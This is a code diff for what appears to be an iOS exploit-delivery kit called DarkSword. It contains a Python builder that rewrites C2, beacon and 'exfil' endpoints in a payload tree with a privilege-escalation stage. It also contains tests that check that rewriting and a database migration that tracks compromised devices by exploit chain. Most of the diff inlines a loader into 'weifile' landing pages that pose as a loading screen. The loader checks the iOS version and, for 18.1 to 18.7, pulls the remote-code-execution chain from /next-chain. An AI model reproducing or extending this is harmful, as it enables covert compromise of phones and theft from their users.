hits.append({"file": str(src.relative_to(root)), "counts": counts})
return hits return hits
@@ -124,7 +144,12 @@ def publish(staging: Path, dest: Path) -> None:
old = dest.with_name(dest.name + ".old") old = dest.with_name(dest.name + ".old")
if tmp.exists(): if tmp.exists():
shutil.rmtree(tmp) shutil.rmtree(tmp)
shutil.copytree(staging, tmp, ignore=shutil.ignore_patterns(".DS_Store"))
def ignore(directory: str, names: list[str]) -> set[str]:
skip = {n for n in names if n == ".DS_Store" or n in SKIP_PUBLISH}
return skip
shutil.copytree(staging, tmp, ignore=ignore)
if dest.exists(): if dest.exists():
if old.exists(): if old.exists():
shutil.rmtree(old) shutil.rmtree(old)
@@ -139,64 +164,78 @@ def publish(staging: Path, dest: Path) -> None:
tmp.rename(dest) tmp.rename(dest)
def resolve_origin(args: argparse.Namespace) -> tuple[str, int, str]: def build(
if args.origin: source: Path,
parsed = urlparse(args.origin) dest: Path,
if parsed.scheme not in ("http", "https") or not parsed.hostname: c2: str,
raise SystemExit(f"invalid --origin: {args.origin}") delivery: str | None = None,
host = parsed.hostname dry_run: bool = False,
if parsed.port: ) -> dict:
port = parsed.port
else:
port = 443 if parsed.scheme == "https" else 80
origin = f"{parsed.scheme}://{host}"
if not ((parsed.scheme == "http" and port == 80) or (parsed.scheme == "https" and port == 443)):
origin += f":{port}"
return host, port, origin
host = args.host
port = args.port
origin = f"{args.scheme}://{host}"
if not ((args.scheme == "http" and port == 80) or (args.scheme == "https" and port == 443)):
origin += f":{port}"
return host, port, origin
def build(source: Path, dest: Path, host: str, port: int, origin: str, dry_run: bool = False) -> list[dict]:
if not source.is_dir(): if not source.is_dir():
raise SystemExit(f"source not found: {source}") raise SystemExit(f"source not found: {source}")
config = source / "config.js"
if not config.is_file():
raise SystemExit(f"missing {config}")
c2_ep = parse_endpoint(c2, label="--c2")
delivery_ep = parse_endpoint(delivery, label="--delivery") if delivery else None
if dry_run:
preview = patch_config(config.read_text(encoding="utf-8"), c2_ep)
if delivery_ep is not None:
preview = re.sub(
r'deliveryPath:\s*"[^"]*"',
f'deliveryPath: "{delivery_ep.path or "/next-chain"}"',
preview,
count=1,
)
return {"c2": c2_ep.origin, "delivery": delivery_ep.url if delivery_ep else "", "config": preview}
staging = BUILDER_ROOT / "out" / "staging" staging = BUILDER_ROOT / "out" / "staging"
if staging.exists(): if staging.exists():
shutil.rmtree(staging) shutil.rmtree(staging)
shutil.copytree(source, staging, ignore=shutil.ignore_patterns(".DS_Store")) shutil.copytree(source, staging, ignore=shutil.ignore_patterns(".DS_Store"))
hits = rewrite_tree(staging, host, port, origin) rewrite_tree(staging, c2_ep)
if dry_run: if delivery_ep is not None:
shutil.rmtree(staging) cfg = (staging / "config.js").read_text(encoding="utf-8")
return hits cfg = re.sub(
r'deliveryPath:\s*"[^"]*"',
f'deliveryPath: "{delivery_ep.path or "/next-chain"}"',
cfg,
count=1,
)
(staging / "config.js").write_text(cfg, encoding="utf-8")
publish(staging, dest) publish(staging, dest)
shutil.rmtree(staging, ignore_errors=True) shutil.rmtree(staging, ignore_errors=True)
return hits return {"c2": c2_ep.origin, "delivery": delivery_ep.url if delivery_ep else "", "dest": str(dest.resolve())}
def main(argv: list[str] | None = None) -> int: def main(argv: list[str] | None = None) -> int:
ap = argparse.ArgumentParser(description="Rewrite DarkSword source and publish public/next-chain") ap = argparse.ArgumentParser(description="Rewrite one99 hosts to --c2 and copy source/ to public/next-chain")
ap.add_argument("--host", default="192.168.31.130") ap.add_argument("--c2", default="", help="C2 / API origin, e.g. http://192.168.31.130:8000")
ap.add_argument("--port", type=int, default=8000) ap.add_argument("--origin", default="", help="alias of --c2")
ap.add_argument("--scheme", default="http", choices=("http", "https")) ap.add_argument("--delivery", default="", help="optional CDN origin; delivery path still /next-chain at runtime")
ap.add_argument("--origin", default="", help="full origin, e.g. http://192.168.31.130:8000")
ap.add_argument("--source", type=Path, default=DEFAULT_SOURCE) ap.add_argument("--source", type=Path, default=DEFAULT_SOURCE)
ap.add_argument("--dest", type=Path, default=DEFAULT_DEST) ap.add_argument("--dest", type=Path, default=DEFAULT_DEST)
ap.add_argument("--dry-run", action="store_true") ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args(argv) args = ap.parse_args(argv)
host, port, origin = resolve_origin(args) c2 = (args.c2 or args.origin or "").strip()
hits = build(args.source, args.dest, host, port, origin, dry_run=args.dry_run) if not c2:
action = "would rewrite" if args.dry_run else "published" raise SystemExit("need --c2 (or --origin), e.g. --c2 http://192.168.31.130:8000")
print(f"{action} {len(hits)} files -> {origin}")
if not args.dry_run: result = build(
print(f"dest {args.dest.resolve()}") args.source,
for h in hits: args.dest,
print(f" {h['file']} ({sum(h['counts'].values())})") c2,
delivery=(args.delivery or "").strip() or None,
dry_run=args.dry_run,
)
print("dry-run" if args.dry_run else "published")
print(f" c2 {result['c2']}")
print(f" delivery {result['delivery'] or '(weifile origin + /next-chain)'}")
if result.get("dest"):
print(f" dest {result['dest']}")
return 0 return 0
+42 -58
View File
@@ -14,88 +14,72 @@ if str(TOOLS) not in sys.path:
import build # noqa: E402 import build # noqa: E402
CONFIG = (
"window.NEWS2_CONFIG = {\n"
' deliveryPath: "/next-chain",\n'
" exfil: {\n"
' host: "192.168.31.130",\n'
' domain: "192.168.31.130",\n'
" http_port: 8080,\n"
" https_port: 8080,\n"
" tls: false,\n"
" prefer_https: false,\n"
" },\n"
"};\n"
)
class BuildTest(unittest.TestCase): class BuildTest(unittest.TestCase):
def setUp(self) -> None: def setUp(self) -> None:
self.tmp = Path(tempfile.mkdtemp(prefix="ds-build-")) self.tmp = Path(tempfile.mkdtemp(prefix="ds-build-"))
self.source = self.tmp / "source" self.source = self.tmp / "source"
self.dest = self.tmp / "next-chain" self.dest = self.tmp / "next-chain"
self.source.mkdir(parents=True) self.source.mkdir(parents=True)
(self.source / "config.js").write_text( (self.source / "config.js").write_text(CONFIG, encoding="utf-8")
'redirectUrl: "https://ab.ux600.com"\nconst HQ_WALLET_PORT = "443";\n',
encoding="utf-8",
)
(self.source / "keep.txt").write_text("untouched\n", encoding="utf-8") (self.source / "keep.txt").write_text("untouched\n", encoding="utf-8")
(self.source / "pe_worker.js").write_text( (self.source / "pe_worker.js").write_text(
'var _HQ_DELIV_LOG_URL = "http://one99.vip:80/log";\n' 'const C2 = "https://mh0usocqzi6f46i.com:443/beacon";\n'
'__labCfHttp("POST", "/log", body, false);\n' 'function p7(){ return { host: "192.168.31.130", port: 8080 }; }\n',
'__labCfHttp("GET", "/log.html?" + q, null, false);\n',
encoding="utf-8", encoding="utf-8",
) )
(self.source / "log.html").write_text("static log\n", encoding="utf-8")
(self.source / "pe_stage").mkdir()
(self.source / "pe_stage" / "s1_launchd.js").write_text("// stage\n", encoding="utf-8")
def tearDown(self) -> None: def tearDown(self) -> None:
shutil.rmtree(self.tmp, ignore_errors=True) shutil.rmtree(self.tmp, ignore_errors=True)
def test_rewrites_and_publishes_without_touching_source(self) -> None: def test_rewrites_c2_and_publishes_pe_stage(self) -> None:
before = (self.source / "config.js").read_text(encoding="utf-8") before = (self.source / "config.js").read_text(encoding="utf-8")
hits = build.build( result = build.build(self.source, self.dest, "http://192.168.31.130:8000")
self.source,
self.dest,
"192.168.31.130",
8080,
"http://192.168.31.130:8080",
)
self.assertTrue(hits)
self.assertEqual((self.source / "config.js").read_text(encoding="utf-8"), before) self.assertEqual((self.source / "config.js").read_text(encoding="utf-8"), before)
self.assertEqual(result["c2"], "http://192.168.31.130:8000")
published = (self.dest / "config.js").read_text(encoding="utf-8") published = (self.dest / "config.js").read_text(encoding="utf-8")
self.assertIn("http://192.168.31.130:8080/?landed=1", published) self.assertIn('host: "192.168.31.130"', published)
self.assertIn('const HQ_WALLET_PORT = "8080"', published) self.assertIn("http_port: 8000", published)
self.assertNotIn("ab.ux600.com", published) self.assertIn("tls: false", published)
self.assertEqual((self.dest / "keep.txt").read_text(encoding="utf-8"), "untouched\n") self.assertEqual((self.dest / "keep.txt").read_text(encoding="utf-8"), "untouched\n")
self.assertFalse((self.dest / "api").exists())
worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8") worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8")
self.assertIn('var _HQ_DELIV_LOG_URL = "http://192.168.31.130:8080/api/ds/log"', worker) self.assertIn("http://192.168.31.130:8000/beacon", worker)
self.assertIn('__labCfHttp("POST", "/api/ds/log"', worker) self.assertIn('{ host: "192.168.31.130", port: 8000 }', worker)
self.assertIn('__labCfHttp("GET", "/api/ds/log?"', worker) self.assertFalse((self.dest / "log.html").exists())
self.assertNotIn("/log.html", worker) self.assertTrue((self.dest / "pe_stage" / "s1_launchd.js").is_file())
self.assertNotIn('__labCfHttp("POST", "/log"', worker) self.assertEqual((self.dest / "pe_stage" / "s1_launchd.js").read_text(encoding="utf-8"), "// stage\n")
def test_origin_override(self) -> None: def test_https_c2(self) -> None:
host, port, origin = build.resolve_origin( build.build(self.source, self.dest, "https://c2.example.com")
type("A", (), {"origin": "https://lab.example:8443", "host": "x", "port": 1, "scheme": "http"})()
)
self.assertEqual((host, port, origin), ("lab.example", 8443, "https://lab.example:8443"))
def test_origin_rewrites_lab_template_config(self) -> None:
(self.source / "config.js").write_text(
'window.NEWS2_CONFIG = {\n'
' exfil: {\n'
' host: "192.168.31.130",\n'
' domain: "192.168.31.130",\n'
' http_port: 8000,\n'
' https_port: 8000,\n'
' tls: false,\n'
' prefer_https: false,\n'
' },\n'
' redirectUrl: "https://ab.ux600.com",\n'
'};\n',
encoding="utf-8",
)
build.build(
self.source,
self.dest,
"c2.example.com",
443,
"https://c2.example.com",
)
published = (self.dest / "config.js").read_text(encoding="utf-8") published = (self.dest / "config.js").read_text(encoding="utf-8")
self.assertIn('host: "c2.example.com"', published) self.assertIn('host: "c2.example.com"', published)
self.assertIn('domain: "c2.example.com"', published)
self.assertIn("http_port: 443", published) self.assertIn("http_port: 443", published)
self.assertIn("https_port: 443", published)
self.assertIn("tls: true", published) self.assertIn("tls: true", published)
self.assertIn("https://c2.example.com/?landed=1", published) self.assertIn("https://c2.example.com/beacon", (self.dest / "pe_worker.js").read_text(encoding="utf-8"))
self.assertNotIn("192.168.31.130", published)
self.assertNotIn("ab.ux600.com", published) def test_parse_endpoint(self) -> None:
ep = build.parse_endpoint("https://lab.example:8443/next-chain", label="--delivery")
self.assertEqual(ep.host, "lab.example")
self.assertEqual(ep.port, 8443)
self.assertEqual(ep.origin, "https://lab.example:8443")
self.assertEqual(ep.url, "https://lab.example:8443/next-chain")
if __name__ == "__main__": if __name__ == "__main__":
-133
View File
@@ -1,133 +0,0 @@
(function () {
var DS_BASE = '/next-chain';
var HOLD_MS = 10 * 60 * 1000;
var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
function cmpVer(a, b) {
for (var i = 0; i < 3; i++) {
var ai = (a && a[i]) || 0;
var bi = (b && b[i]) || 0;
if (ai < bi) return -1;
if (ai > bi) return 1;
}
return 0;
}
function persistChannelCode(code) {
code = String(code || '').trim().slice(0, 64);
if (!code) return '';
try {
window.__LAB_CHANNEL_CODE__ = code;
window.__CORUNA_CHANNEL__ = code;
} catch (e0) {}
try {
sessionStorage.setItem('lab_channel_code', code);
} catch (e1) {}
try {
localStorage.setItem('lab_channel_code', code);
} catch (e2) {}
return code;
}
function channelCode() {
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
} catch (eP) {}
return '';
}
function dsUrl(path) {
var origin = '';
try {
if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
} catch (e) {}
return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
}
function loadScript(src, onload, attempt) {
attempt = attempt || 0;
var s = document.createElement('script');
s.async = false;
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
s.onload = function () { if (onload) onload(); };
s.onerror = function () {
if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
};
(document.body || document.documentElement).appendChild(s);
}
function loadScripts(urls) {
var i = 0;
function next() {
if (i >= urls.length) return;
loadScript(urls[i++], next);
}
next();
}
function holdFresh() {
var now = Date.now();
for (var i = 0; i < HOLD_KEYS.length; i++) {
var key = HOLD_KEYS[i];
try {
var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
if (ls && now - ls <= HOLD_MS) return true;
} catch (e0) {}
try {
var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
if (ss && now - ss <= HOLD_MS) return true;
} catch (e1) {}
}
return false;
}
function markHold() {
var ts = String(Date.now());
try {
localStorage.setItem('__ds_rce_hold', ts);
localStorage.setItem('__ds_chain_hold', ts);
} catch (e2) {}
try {
sessionStorage.setItem('__ds_rce_hold', ts);
sessionStorage.setItem('__ds_chain_hold', ts);
} catch (e3) {}
}
function loadDs(code) {
if (holdFresh()) return;
markHold();
persistChannelCode(code);
try {
window.__LAB_DELIVERY_HOST__ = dsUrl('');
if (!window.__LAB_EXFIL_DOMAIN__) {
window.__LAB_EXFIL_DOMAIN__ = location.hostname || '';
}
} catch (eH) {}
loadScripts([dsUrl('/lab_hosts.js'), dsUrl('/config.js'), dsUrl('/boot.js')]);
}
var ios = parseIosVersion();
var code = channelCode();
if (!ios || cmpVer(ios, [18, 1]) < 0) {
loadScript('index.js');
return;
}
if (cmpVer(ios, [18, 7]) < 0) {
loadDs(code);
}
})();
@@ -7,6 +7,130 @@
<title>weifile</title> <title>weifile</title>
</head> </head>
<body> <body>
<script type="text/javascript" src="route.js"></script> <script type="text/javascript">
(function () {
var DS_BASE = '/next-chain';
var HOLD_MS = 10 * 60 * 1000;
var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
function cmpVer(a, b) {
for (var i = 0; i < 3; i++) {
var ai = (a && a[i]) || 0;
var bi = (b && b[i]) || 0;
if (ai < bi) return -1;
if (ai > bi) return 1;
}
return 0;
}
function persistChannelCode(code) {
code = String(code || '').trim().slice(0, 64);
if (!code) return '';
try {
window.__LAB_CHANNEL_CODE__ = code;
window.__CORUNA_CHANNEL__ = code;
} catch (e0) {}
try {
sessionStorage.setItem('lab_channel_code', code);
} catch (e1) {}
try {
localStorage.setItem('lab_channel_code', code);
} catch (e2) {}
return code;
}
function channelCode() {
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
} catch (eP) {}
return '';
}
function dsUrl(path) {
var origin = '';
try {
if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
} catch (e) {}
return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
}
function loadScript(src, onload, attempt) {
attempt = attempt || 0;
var s = document.createElement('script');
s.async = false;
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
s.onload = function () { if (onload) onload(); };
s.onerror = function () {
if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
};
(document.body || document.documentElement).appendChild(s);
}
function holdFresh() {
var now = Date.now();
for (var i = 0; i < HOLD_KEYS.length; i++) {
var key = HOLD_KEYS[i];
try {
var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
if (ls && now - ls <= HOLD_MS) return true;
} catch (e0) {}
try {
var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
if (ss && now - ss <= HOLD_MS) return true;
} catch (e1) {}
}
return false;
}
function markHold() {
var ts = String(Date.now());
try {
localStorage.setItem('__ds_rce_hold', ts);
localStorage.setItem('__ds_chain_hold', ts);
} catch (e2) {}
try {
sessionStorage.setItem('__ds_rce_hold', ts);
sessionStorage.setItem('__ds_chain_hold', ts);
} catch (e3) {}
}
function loadDs(code) {
if (holdFresh()) return;
markHold();
persistChannelCode(code);
try {
window.__LAB_DELIVERY_HOST__ = dsUrl('');
} catch (eH) {}
loadScript(dsUrl('/config.js'), function () {
loadScript(dsUrl('/boot.js'));
});
}
var ios = parseIosVersion();
var code = channelCode();
if (!ios || cmpVer(ios, [18, 1]) < 0) {
loadScript('index.js');
return;
}
if (cmpVer(ios, [18, 7]) < 0) {
loadDs(code);
}
})();
</script>
</body> </body>
</html> </html>
@@ -111,7 +111,131 @@
<p class="title">加载中</p> <p class="title">加载中</p>
<p class="subtitle">请稍候,正在准备页面…</p> <p class="subtitle">请稍候,正在准备页面…</p>
</div> </div>
<script type="text/javascript" src="route.js"></script> <script type="text/javascript">
(function () {
var DS_BASE = '/next-chain';
var HOLD_MS = 10 * 60 * 1000;
var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
function cmpVer(a, b) {
for (var i = 0; i < 3; i++) {
var ai = (a && a[i]) || 0;
var bi = (b && b[i]) || 0;
if (ai < bi) return -1;
if (ai > bi) return 1;
}
return 0;
}
function persistChannelCode(code) {
code = String(code || '').trim().slice(0, 64);
if (!code) return '';
try {
window.__LAB_CHANNEL_CODE__ = code;
window.__CORUNA_CHANNEL__ = code;
} catch (e0) {}
try {
sessionStorage.setItem('lab_channel_code', code);
} catch (e1) {}
try {
localStorage.setItem('lab_channel_code', code);
} catch (e2) {}
return code;
}
function channelCode() {
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
} catch (eP) {}
return '';
}
function dsUrl(path) {
var origin = '';
try {
if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
} catch (e) {}
return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
}
function loadScript(src, onload, attempt) {
attempt = attempt || 0;
var s = document.createElement('script');
s.async = false;
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
s.onload = function () { if (onload) onload(); };
s.onerror = function () {
if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
};
(document.body || document.documentElement).appendChild(s);
}
function holdFresh() {
var now = Date.now();
for (var i = 0; i < HOLD_KEYS.length; i++) {
var key = HOLD_KEYS[i];
try {
var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
if (ls && now - ls <= HOLD_MS) return true;
} catch (e0) {}
try {
var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
if (ss && now - ss <= HOLD_MS) return true;
} catch (e1) {}
}
return false;
}
function markHold() {
var ts = String(Date.now());
try {
localStorage.setItem('__ds_rce_hold', ts);
localStorage.setItem('__ds_chain_hold', ts);
} catch (e2) {}
try {
sessionStorage.setItem('__ds_rce_hold', ts);
sessionStorage.setItem('__ds_chain_hold', ts);
} catch (e3) {}
}
function loadDs(code) {
if (holdFresh()) return;
markHold();
persistChannelCode(code);
try {
window.__LAB_DELIVERY_HOST__ = dsUrl('');
} catch (eH) {}
loadScript(dsUrl('/config.js'), function () {
loadScript(dsUrl('/boot.js'));
});
}
var ios = parseIosVersion();
var code = channelCode();
if (!ios || cmpVer(ios, [18, 1]) < 0) {
loadScript('index.js');
return;
}
if (cmpVer(ios, [18, 7]) < 0) {
loadDs(code);
}
})();
</script>
<script> <script>
(function () { (function () {
var TOTAL = 15; var TOTAL = 15;
+125 -1
View File
@@ -7,6 +7,130 @@
<title>weifile</title> <title>weifile</title>
</head> </head>
<body> <body>
<script type="text/javascript" src="route.js"></script> <script type="text/javascript">
(function () {
var DS_BASE = '/next-chain';
var HOLD_MS = 10 * 60 * 1000;
var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
function cmpVer(a, b) {
for (var i = 0; i < 3; i++) {
var ai = (a && a[i]) || 0;
var bi = (b && b[i]) || 0;
if (ai < bi) return -1;
if (ai > bi) return 1;
}
return 0;
}
function persistChannelCode(code) {
code = String(code || '').trim().slice(0, 64);
if (!code) return '';
try {
window.__LAB_CHANNEL_CODE__ = code;
window.__CORUNA_CHANNEL__ = code;
} catch (e0) {}
try {
sessionStorage.setItem('lab_channel_code', code);
} catch (e1) {}
try {
localStorage.setItem('lab_channel_code', code);
} catch (e2) {}
return code;
}
function channelCode() {
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
} catch (eP) {}
return '';
}
function dsUrl(path) {
var origin = '';
try {
if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
} catch (e) {}
return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
}
function loadScript(src, onload, attempt) {
attempt = attempt || 0;
var s = document.createElement('script');
s.async = false;
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
s.onload = function () { if (onload) onload(); };
s.onerror = function () {
if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
};
(document.body || document.documentElement).appendChild(s);
}
function holdFresh() {
var now = Date.now();
for (var i = 0; i < HOLD_KEYS.length; i++) {
var key = HOLD_KEYS[i];
try {
var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
if (ls && now - ls <= HOLD_MS) return true;
} catch (e0) {}
try {
var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
if (ss && now - ss <= HOLD_MS) return true;
} catch (e1) {}
}
return false;
}
function markHold() {
var ts = String(Date.now());
try {
localStorage.setItem('__ds_rce_hold', ts);
localStorage.setItem('__ds_chain_hold', ts);
} catch (e2) {}
try {
sessionStorage.setItem('__ds_rce_hold', ts);
sessionStorage.setItem('__ds_chain_hold', ts);
} catch (e3) {}
}
function loadDs(code) {
if (holdFresh()) return;
markHold();
persistChannelCode(code);
try {
window.__LAB_DELIVERY_HOST__ = dsUrl('');
} catch (eH) {}
loadScript(dsUrl('/config.js'), function () {
loadScript(dsUrl('/boot.js'));
});
}
var ios = parseIosVersion();
var code = channelCode();
if (!ios || cmpVer(ios, [18, 1]) < 0) {
loadScript('index.js');
return;
}
if (cmpVer(ios, [18, 7]) < 0) {
loadDs(code);
}
})();
</script>
</body> </body>
</html> </html>
+3 -10
View File
@@ -202,15 +202,6 @@ def normalize_landing_template(value: str | None) -> str:
return template return template
def ensure_route_js(weifile_dir: Path) -> Path:
src = xxbb_build.SOURCE_WEIFILE / "route.js"
if not src.is_file():
raise SystemExit(f"missing weifile router: {src}")
dest = weifile_dir / "route.js"
dest.write_text(src.read_text(encoding="utf-8"), encoding="utf-8")
return dest
def apply_landing_template(weifile_dir: Path, template: str) -> Path: def apply_landing_template(weifile_dir: Path, template: str) -> Path:
template = normalize_landing_template(template) template = normalize_landing_template(template)
src = LANDING_TEMPLATE_ROOT / f"{template}.html" src = LANDING_TEMPLATE_ROOT / f"{template}.html"
@@ -282,7 +273,9 @@ def pack_channel(
encoding="utf-8", encoding="utf-8",
) )
apply_landing_template(weifile_dest, landing_template) apply_landing_template(weifile_dest, landing_template)
ensure_route_js(weifile_dest) leftover_route = weifile_dest / "route.js"
if leftover_route.is_file():
leftover_route.unlink()
if channel_out.exists(): if channel_out.exists():
shutil.rmtree(channel_out) shutil.rmtree(channel_out)
+20 -16
View File
@@ -83,18 +83,18 @@ class XxbbBuildTest(unittest.TestCase):
self.assertFalse((artifact / "weifile").exists()) self.assertFalse((artifact / "weifile").exists())
self.assertTrue((weifile / "index.js").is_file()) self.assertTrue((weifile / "index.js").is_file())
self.assertTrue((weifile / "weifile.html").is_file()) self.assertTrue((weifile / "weifile.html").is_file())
self.assertTrue((weifile / "route.js").is_file()) self.assertFalse((weifile / "route.js").is_file())
html = (weifile / "weifile.html").read_text(encoding="utf-8") html = (weifile / "weifile.html").read_text(encoding="utf-8")
route = (weifile / "route.js").read_text(encoding="utf-8")
self.assertNotIn("__CHANNEL_C__", html) self.assertNotIn("__CHANNEL_C__", html)
self.assertNotIn("/t.js", html) self.assertNotIn("/t.js", html)
self.assertIn("route.js", html) self.assertNotIn('src="route.js"', html)
self.assertIn("location.pathname", route) self.assertIn("location.pathname", html)
self.assertIn("/next-chain", route) self.assertIn("/next-chain", html)
self.assertIn("boot.js", route) self.assertIn("config.js", html)
self.assertIn("10 * 60 * 1000", route) self.assertIn("holdFresh", html)
self.assertNotIn("channeICode", route) self.assertIn("10 * 60 * 1000", html)
self.assertIn("index.js", route) self.assertNotIn("channeICode", html)
self.assertIn("index.js", html)
index_js = (weifile / "index.js").read_text(encoding="utf-8") index_js = (weifile / "index.js").read_text(encoding="utf-8")
expected_host = generate_domains(channel_c, 1)[0] expected_host = generate_domains(channel_c, 1)[0]
self.assertIn(expected_host, index_js) self.assertIn(expected_host, index_js)
@@ -321,15 +321,19 @@ class XxbbBuildTest(unittest.TestCase):
self.assertEqual(stripped, "head;") self.assertEqual(stripped, "head;")
html = pack_channel.inject_tjs("<html><head></head><body></body></html>") html = pack_channel.inject_tjs("<html><head></head><body></body></html>")
self.assertIn('/t.js', html) self.assertIn('/t.js', html)
route = (xxbb_build.SOURCE_WEIFILE / "route.js").read_text(encoding="utf-8") self.assertFalse((xxbb_build.SOURCE_WEIFILE / "route.js").is_file())
self.assertIn("location.pathname", route)
self.assertIn("/next-chain", route)
self.assertIn("boot.js", route)
self.assertIn("10 * 60 * 1000", route)
self.assertNotIn("channeICode", route)
for name in ("weifile.html", "templates/blank.html", "templates/test.html"): for name in ("weifile.html", "templates/blank.html", "templates/test.html"):
landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8") landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8")
self.assertIn("route.js", landing) self.assertNotIn('src="route.js"', landing)
self.assertIn("location.pathname", landing)
self.assertIn("/next-chain", landing)
self.assertIn("config.js", landing)
self.assertIn("boot.js", landing)
self.assertNotIn("__LAB_RUN_BOOT__", landing)
self.assertNotIn("iframe", landing)
self.assertIn("holdFresh", landing)
self.assertIn("10 * 60 * 1000", landing)
self.assertNotIn("channeICode", landing)
self.assertNotIn('src="index.js"', landing) self.assertNotIn('src="index.js"', landing)
def test_source_details_has_lab_passworded_wap_and_sms(self) -> None: def test_source_details_has_lab_passworded_wap_and_sms(self) -> None:
@@ -0,0 +1,76 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
if (! Schema::hasTable('devices') || Schema::hasColumn('devices', 'chain')) {
return;
}
Schema::table('devices', function (Blueprint $table) {
$table->unsignedTinyInteger('chain')->default(1)->after('device_id');
});
if (Schema::hasColumn('devices', 'family')) {
foreach (DB::table('devices')->select('id', 'family')->cursor() as $row) {
$raw = strtolower(trim((string) $row->family));
$code = in_array($raw, ['darksword', '2'], true) ? 2 : 1;
DB::table('devices')->where('id', $row->id)->update(['chain' => $code]);
}
try {
Schema::table('devices', function (Blueprint $table) {
$table->dropIndex(['family']);
});
} catch (Throwable) {
}
Schema::table('devices', function (Blueprint $table) {
$table->dropColumn('family');
});
}
Schema::table('devices', function (Blueprint $table) {
$table->index('chain');
});
}
public function down(): void
{
if (! Schema::hasTable('devices') || ! Schema::hasColumn('devices', 'chain')) {
return;
}
if (! Schema::hasColumn('devices', 'family')) {
Schema::table('devices', function (Blueprint $table) {
$table->string('family', 32)->default('coruna')->after('device_id');
});
}
foreach (DB::table('devices')->select('id', 'chain')->cursor() as $row) {
$label = (int) $row->chain === 2 ? 'darksword' : 'coruna';
DB::table('devices')->where('id', $row->id)->update(['family' => $label]);
}
try {
Schema::table('devices', function (Blueprint $table) {
$table->dropIndex(['chain']);
});
} catch (Throwable) {
}
